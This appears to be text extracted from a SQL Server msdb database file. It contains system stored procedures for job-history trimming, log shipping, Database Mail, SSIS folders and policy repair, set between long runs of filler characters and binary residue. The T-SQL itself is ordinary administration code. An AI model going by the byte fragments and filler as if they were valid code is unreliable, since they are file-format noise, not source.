!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}`_<Mexz0-~_ z8CREATE PROCEDURE sp_jobhistory_row_limiter
  @job_id UNIQUEIDENTIFIER
AS
BEGIN
  DECLARE @max_total_rows         INT -- This value comes from the registry (MaxJobHistoryTableRows)
  DECLARE @max_rows_per_job       INT -- This value comes from the registry (MaxJobHistoryRows)
  DECLARE @rows_to_delete         INT
  DECLARE @current_rows           INT
  DECLARE @current_rows_per_job   INT

  SET NOCOUNT ON

  -- Get max-job-history-rows from the registry
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobHistoryMaxRows',
                                         @max_total_rows OUTPUT,
                                         N'no_output'

  -- Check if we are limiting sysjobhistory rows
  IF (ISNULL(@max_total_rows, -1) = -1)
    RETURN(0)

  -- Check that max_total_rows is more than 1
  IF (ISNULL(@max_total_rows, 0) < 2)
  BEGIN
    -- It isn't, so set the default to 1000 rows
    SELECT @max_total_rows = 1000
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobHistoryMaxRows',
                                            N'REG_DWORD',
                                            @max_total_rows
  END

  -- Get the per-job maximum number of rows to keep
  SELECT @max_rows_per_job = 0
  EXECUTE master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                                         N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                         N'JobHistoryMaxRowsPerJob',
                                         @max_rows_per_job OUTPUT,
                                         N'no_output'

  -- Check that max_rows_per_job is <= max_total_rows
  IF ((@max_rows_per_job > @max_total_rows) OR (@max_rows_per_job < 1))
  BEGIN
    -- It isn't, so default the rows_per_job to max_total_rows
    SELECT @max_rows_per_job = @max_total_rows
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'JobHistoryMaxRowsPerJob',
                                            N'REG_DWORD',
                                            @max_rows_per_job
  END

  BEGIN TRANSACTION

  SELECT @current_rows_per_job = COUNT(*)
  FROM msdb.dbo.sysjobhistory with (TABLOCKX)
  WHERE (job_id = @job_id)

  -- Delete the oldest history row(s) for the job being inserted if the new row has
  -- pushed us over the per-job row limit (MaxJobHistoryRows)
  SELECT @rows_to_delete = @current_rows_per_job - @max_rows_per_job

  IF (@rows_to_delete > 0)
  BEGIN
    WITH RowsToDelete AS (
      SELECT TOP (@rows_to_delete) *
      FROM msdb.dbo.sysjobhistory
      WHERE (job_id = @job_id)
      ORDER BY instance_id
    )
    DELETE FROM RowsToDelete;
  END

  -- Delete the oldest history row(s) if inserting the new row has pushed us over the
  -- global MaxJobHistoryTableRows limit.
  SELECT @current_rows = COUNT(*)
  FROM msdb.dbo.sysjobhistory

  SELECT @rows_to_delete = @current_rows - @max_total_rows

  IF (@rows_to_delete > 0)
  BEGIN
    WITH RowsToDelete AS (
      SELECT TOP (@rows_to_delete) *
      FROM msdb.dbo.sysjobhistory
      ORDER BY instance_id
    )
    DELETE FROM RowsToDelete;
  END

  IF (@@trancount > 0)
    COMMIT TRANSACTION

  RETURN(0) -- Success
END
0=`@ 8CREATE PROCEDURE sp_delete_log_shipping_primary 
  @primary_server_name sysname,
  @primary_database_name sysname,
  @delete_secondaries BIT = 0
AS BEGIN
  DECLARE @primary_id INT

  SET NOCOUNT ON

  SELECT @primary_id = primary_id 
    FROM msdb.dbo.log_shipping_primaries 
    WHERE primary_server_name = @primary_server_name AND primary_database_name = @primary_database_name
  IF (@primary_id IS NULL)
    RETURN (0)

  BEGIN TRANSACTION
  IF (EXISTS (SELECT * FROM msdb.dbo.log_shipping_secondaries WHERE primary_id = @primary_id))
  BEGIN
    IF (@delete_secondaries = 0)
    BEGIN
      RAISERROR (14429,-1,-1)
      goto rollback_quit
    END
    DELETE FROM msdb.dbo.log_shipping_secondaries WHERE primary_id = @primary_id
    IF (@@ERROR <> 0)
      GOTO rollback_quit
  END
  DELETE FROM msdb.dbo.log_shipping_primaries WHERE primary_id = @primary_id
  IF (@@ERROR <> 0)
    GOTO rollback_quit

  COMMIT TRANSACTION
  DECLARE @i INT
  SELECT @i = COUNT(*) FROM msdb.dbo.log_shipping_primaries
  IF (@i=0)
    EXECUTE msdb.dbo.sp_delete_log_shipping_monitor_jobs
  RETURN (0)

rollback_quit:
  ROLLBACK TRANSACTION
  RETURN(1) -- error
END
0G=` 8

CREATE PROCEDURE [dbo].[sysmail_delete_profile_sp]
   @profile_id int = NULL, -- must provide either id or name
   @profile_name sysname = NULL,
   @force_delete BIT = 1
AS
   SET NOCOUNT ON
  
   DECLARE @rc int
   DECLARE @profileid int
   exec @rc = msdb.dbo.sysmail_verify_profile_sp @profile_id, @profile_name, 0, 0, @profileid OUTPUT
   IF @rc <> 0
      RETURN(1)

IF(EXISTS (select * from sysmail_unsentitems WHERE 
   sysmail_unsentitems.profile_id = @profileid) AND @force_delete <> 1)
BEGIN
    IF(@profile_name IS NULL)
    BEGIN
        select @profile_name = name from dbo.sysmail_profile WHERE profile_id = @profileid
    END
    RAISERROR(14668, -1, -1, @profile_name)
    RETURN (1)   
END

UPDATE [msdb].[dbo].[sysmail_mailitems]
SET [sent_status] = 2, [sent_date] = getdate()
WHERE profile_id = @profileid AND sent_status <> 1
     
   DELETE FROM msdb.dbo.sysmail_profile 
   WHERE profile_id = @profileid
   RETURN(0)
0=)_ A8
CREATE VIEW [dbo].[syspolicy_system_health_state]
AS
    SELECT 
        health_state_id,
        policy_id,
        last_run_date,
        target_query_expression_with_id,
        target_query_expression,
        result
    FROM [dbo].[syspolicy_system_health_state_internal]
0LC]` '8((0.0))0"9(` %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<QMOʕJ0x} D8CREATE PROCEDURE [dbo].[sp_ssis_addfolder]
  @parentfolderid uniqueidentifier,
  @name sysname,
  @folderid uniqueidentifier = NULL
AS
   --Check security
   IF (IS_MEMBER('db_ssisltduser')<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
   BEGIN
       RAISERROR (14591, -1, -1, @name)
       RETURN 1  -- Failure
   END

   --// Security check passed, INSERT now
   INSERT INTO sysssispackagefolders (folderid, parentfolderid, foldername)
   VALUES (ISNULL(@folderid, NEWID()), @parentfolderid, @name)
0} 8-- Processes a DialogTimer message from the the queue. This is used for send mail retries.
-- Returns the mail to be send if a retry is required or logs a failure if max retry count has been reached 
CREATE PROCEDURE sp_process_DialogTimer
    @conversation_handle    uniqueidentifier,
   @service_contract_name  NVARCHAR(256),
   @message_type_name      NVARCHAR(256)
AS
BEGIN
    SET NOCOUNT ON

    -- Declare all variables
    DECLARE 
        @mailitem_id        INT,
        @profile_id         INT,
        @send_attempts      INT,
        @mail_request_date  DATETIME,
        @localmessage       NVARCHAR(255),
        @paramStr           NVARCHAR(256),
        @accRetryAttempts   INT

    -- Get the associated mail item data for the given @conversation_handle
   SELECT @mailitem_id     = mi.mailitem_id,
      @profile_id         = mi.profile_id,
        @mail_request_date  = mi.send_request_date,
      @send_attempts      = sr.send_attempts
   FROM sysmail_send_retries as sr
      JOIN sysmail_mailitems as mi
        ON sr.mailitem_id = mi.mailitem_id
   WHERE sr.conversation_handle = @conversation_handle

   -- If not able to find a mailitem_id return and move to the next message.
    -- This could happen if the mail items table was cleared before the retry was fired
   IF(@mailitem_id IS NULL)
   BEGIN
        --Log warning and continue
        -- "mailitem_id on conversation %s was not found in the sysmail_send_retries table. This mail item will not be sent."
        SET @localmessage = FORMATMESSAGE(14662, convert(NVARCHAR(50), @conversation_handle))
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@localmessage

        -- Resource clean-up
        IF(@conversation_handle IS NOT NULL)
        BEGIN
           END CONVERSATION @conversation_handle;
        END

        -- return code has special meaning and will be propagated to the calling process
        RETURN 2;
    END


    --Get the retry attempt count from sysmailconfig.
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'AccountRetryAttempts', 
                                                 @parameter_value = @paramStr OUTPUT
    --ConvertToInt will return the default if @paramStr is null
    SET @accRetryAttempts = dbo.ConvertToInt(@paramStr, 0x7fffffff, 1)


   --Check the send attempts and log and error if send_attempts >= retry count.
    --This shouldn't happen unless the retry configuration was changed
   IF(@send_attempts > @accRetryAttempts)
   BEGIN
        --Log warning and continue
        -- "Mail Id %d has exceeded the retry count. This mail item will not be sent."
        SET @localmessage = FORMATMESSAGE(14663, @mailitem_id)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=2, @description=@localmessage, @mailitem_id=@mailitem_id

        -- Resource clean-up
        IF(@conversation_handle IS NOT NULL)
        BEGIN
           END CONVERSATION @conversation_handle;
        END

        -- return code has special meaning and will be propagated to the calling process
        RETURN 3;
    END

    -- This returns the mail item to the client as multiple result sets
    EXEC sp_MailItemResultSets
            @mailitem_id            = @mailitem_id,
            @profile_id             = @profile_id,
            @conversation_handle    = @conversation_handle,
           @service_contract_name  = @service_contract_name,
           @message_type_name      = @message_type_name

   
   RETURN 0

END
03} s8CREATE PROCEDURE [dbo].[sp_sysutility_mi_disable_collection]
WITH EXECUTE AS OWNER
AS
BEGIN
   SET NOCOUNT ON;
   
   BEGIN TRY
   DECLARE @tran_name NVARCHAR(32) = N'sysutility_mi_disable_colle' -- transaction names can be no more than 32 characters

   BEGIN TRANSACTION @tran_name
      DECLARE @job_category sysname       = N'Utility - Managed Instance';
      DECLARE @job_category_id INT        = (SELECT category_id FROM msdb.dbo.syscategories WHERE name=@job_category AND category_class=1)
      
      DECLARE @collect_and_upload_job_name sysname              = N'sysutility_mi_collect_and_upload';
      DECLARE @collect_and_upload_job_id uniqueidentifier       = (SELECT jobs.job_id
                                                                   FROM [msdb].[dbo].[sysjobs] jobs
                                                                   WHERE jobs.name = @collect_and_upload_job_name 
                                                                   AND jobs.category_id = @job_category_id);
                                                                     
      -- Dac performance collection job varaibles
      DECLARE @dac_perf_job_name sysname              = N'sysutility_mi_collect_performance';
      DECLARE @dac_perf_job_id uniqueidentifier       = (SELECT jobs.job_id
                                                         FROM [msdb].[dbo].[sysjobs] jobs
                                                         WHERE jobs.name = @dac_perf_job_name 
                                                         AND jobs.category_id = @job_category_id);

      IF(@collect_and_upload_job_id IS NOT NULL)
      BEGIN
         EXEC msdb.dbo.sp_update_job @job_id=@collect_and_upload_job_id, @enabled=0;
      END
      
      IF(@dac_perf_job_id IS NOT NULL)
      BEGIN
         EXEC msdb.dbo.sp_update_job @job_id=@dac_perf_job_id, @enabled=0;
      END
     		   
   COMMIT TRANSACTION @tran_name
   END TRY
   
   BEGIN CATCH
        -- Roll back our transaction if it's still open
        IF (@@TRANCOUNT > 0)
        BEGIN
            ROLLBACK TRANSACTION;
        END;
 
        -- Rethrow the error.  Unfortunately, we can't retrow the exact same error number b/c RAISERROR 
        -- does not allow you to use error numbers below 13000.  We rethrow error 14684: 
        -- Caught error#: %d, Level: %d, State: %d, in Procedure: %s, Line: %d, with Message: %s
        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');
        RAISERROR (14684, -1, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);
    END CATCH;
   
END
0	} %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,`<E9U0
 
8CREATE PROCEDURE [dbo].[sp_syspolicy_repair_policy_automation]
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole';
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check;
	END

    BEGIN TRANSACTION;

    BEGIN TRY
        SET NOCOUNT ON
        
        DECLARE @policies_copy TABLE (
                            policy_id int ,
                            name sysname NOT NULL,
                            condition_id int NOT NULL,
                            root_condition_id int NULL,
                            execution_mode int NOT NULL,
                            policy_category_id int NULL,
                            schedule_uid uniqueidentifier NULL,
                            description nvarchar(max) NOT NULL ,
                            help_text nvarchar(4000) NOT NULL ,
                            help_link nvarchar(2083) NOT NULL ,
                            object_set_id INT NULL,
                            is_enabled bit NOT NULL,
                           	is_system bit NOT NULL);

        INSERT INTO @policies_copy 
            SELECT          policy_id,
                            name, 
                            condition_id, 
                            root_condition_id, 
                            execution_mode, 
                            policy_category_id, 
                            schedule_uid, 
                            description,
                            help_text,
                            help_link,
                            object_set_id,
                            is_enabled,
                            is_system
            FROM msdb.dbo.syspolicy_policies_internal;
        
        DELETE FROM syspolicy_policies_internal;
        
        SET IDENTITY_INSERT msdb.dbo.syspolicy_policies_internal ON
        INSERT INTO msdb.dbo.syspolicy_policies_internal (
                            policy_id,
                            name, 
                            condition_id, 
                            root_condition_id, 
                            execution_mode, 
                            policy_category_id, 
                            schedule_uid, 
                            description,
                            help_text,
                            help_link,
                            object_set_id,
                            is_enabled,
                            is_system)
            SELECT 
                            policy_id,
                            name, 
                            condition_id, 
                            root_condition_id, 
                            execution_mode, 
                            policy_category_id, 
                            schedule_uid, 
                            description,
                            help_text,
                            help_link,
                            object_set_id,
                            is_enabled,
                            is_system
            FROM @policies_copy;
            
        SET IDENTITY_INSERT msdb.dbo.syspolicy_policies_internal OFF;
        
        SET NOCOUNT OFF;
    END TRY
    BEGIN CATCH
        ROLLBACK TRANSACTION;
        RAISERROR (14351, -1, -1);
        RETURN 1;
    END CATCH

    -- commit the transaction we started
    COMMIT TRANSACTION;
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!